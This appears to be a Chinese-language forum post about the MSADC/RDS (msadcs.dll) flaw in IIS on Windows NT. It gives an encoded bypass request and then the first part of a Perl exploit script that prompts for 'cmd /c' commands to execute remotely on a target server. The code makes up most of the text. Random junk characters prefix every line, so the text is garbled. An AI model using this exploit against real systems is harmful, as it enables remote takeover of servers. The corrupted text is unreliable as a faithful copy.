IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
XaCX!Lr, @HQ`~C#Z' 涉及程序:
&f"-d Microsoft NT server
{kp"nl$< 9)}[7Mg:C 描述:
pi /g H 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
;-9=RI0 $eD.W 详细:
qm./|#m> 如果你没有时间读详细内容的话,就删除:
'd.EC# c:\Program Files\Common Files\System\Msadc\msadcs.dll
5V6G=H 有关的安全问题就没有了。
pNOwDJtK qC}-_u7s 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
A9f)tqbc uxW~uEh 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Z9MdD>uwi 关于利用ODBC远程漏洞的描述,请参看:
%C$%!C r
YogW! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm &0='r;*i 3|WWo1 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
!u_Y7i3^ http://www.microsoft.com/security/bulletins/MS99-025faq.asp }lh I\q &S( .GdEf 这里不再论述。
.$Ik`[+Z 2r!s*b\Ix 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Zw*v )^m%i]L_ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
4#ug]X4Y') 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
8)O[Aq:: bu
|a0h7e ERpnuMb #将下面这段保存为txt文件,然后: "perl -x 文件名"
l;JA8o\x (^@ra$. #!perl
fG}tMSI #
%1H[Wh(U # MSADC/RDS 'usage' (aka exploit) script
33#0J$j7 #
L[^9E'L$ # by rain.forest.puppy
{p;zuCF1 #
~;1l9^N| # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
~KW,kyXBnD # beta test and find errors!
Qj,]N@7 7[I}*3Q' use Socket; use Getopt::Std;
4kG,*3&2 getopts("e:vd:h:XR", \%args);
:,Pn3xl y=`2\L" O print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
N$h{Yvbn &0NFb^8+ if (!defined $args{h} && !defined $args{R}) {
'XZ)!1N print qq~
O$IEn/%+ Usage: msadc.pl -h <host> { -d <delay> -X -v }
F{EnOr`,m= -h <host> = host you want to scan (ip or domain)
TR<<+ -d <seconds> = delay between calls, default 1 second
k%D+Y(WGz8 -X = dump Index Server path table, if available
R($KSui -v = verbose
jqv- D -e = external dictionary file for step 5
Tsgk/e9K2? b
/@#}Gc Or a -R will resume a command session
2ggdWg7z 0o+6Q8q ~; exit;}
y9_K, g A3|Dz&@: $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
D$bIo" if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
F_;vO%} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
%%NlTE8* if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-sw
. $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\<y`!"c
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Fe]B&n x*?x=^I{ if (!defined $args{R}){ $ret = &has_msadc;
Rn{iaM2Y< die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
: y5<go8e kBYNf = print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Hj:r[/ . "cmd /c ";
oN{Z+T : $in=<STDIN>; chomp $in;
O) WCW<p $command="cmd /c " . $in ;
XLAN Np%E FP;Ccl"s if (defined $args{R}) {&load; exit;}
5D_fXfx_| $/.zm;D print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
lD"(MQV@0 &try_btcustmr;
uM_# iTag+G4* print "\nStep 2: Trying to make our own DSN...";
P5
K' p5}# &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
r9 ui|>U" 3E>frR\!I print "\nStep 3: Trying known DSNs...";
!R1.7}O &known_dsn;
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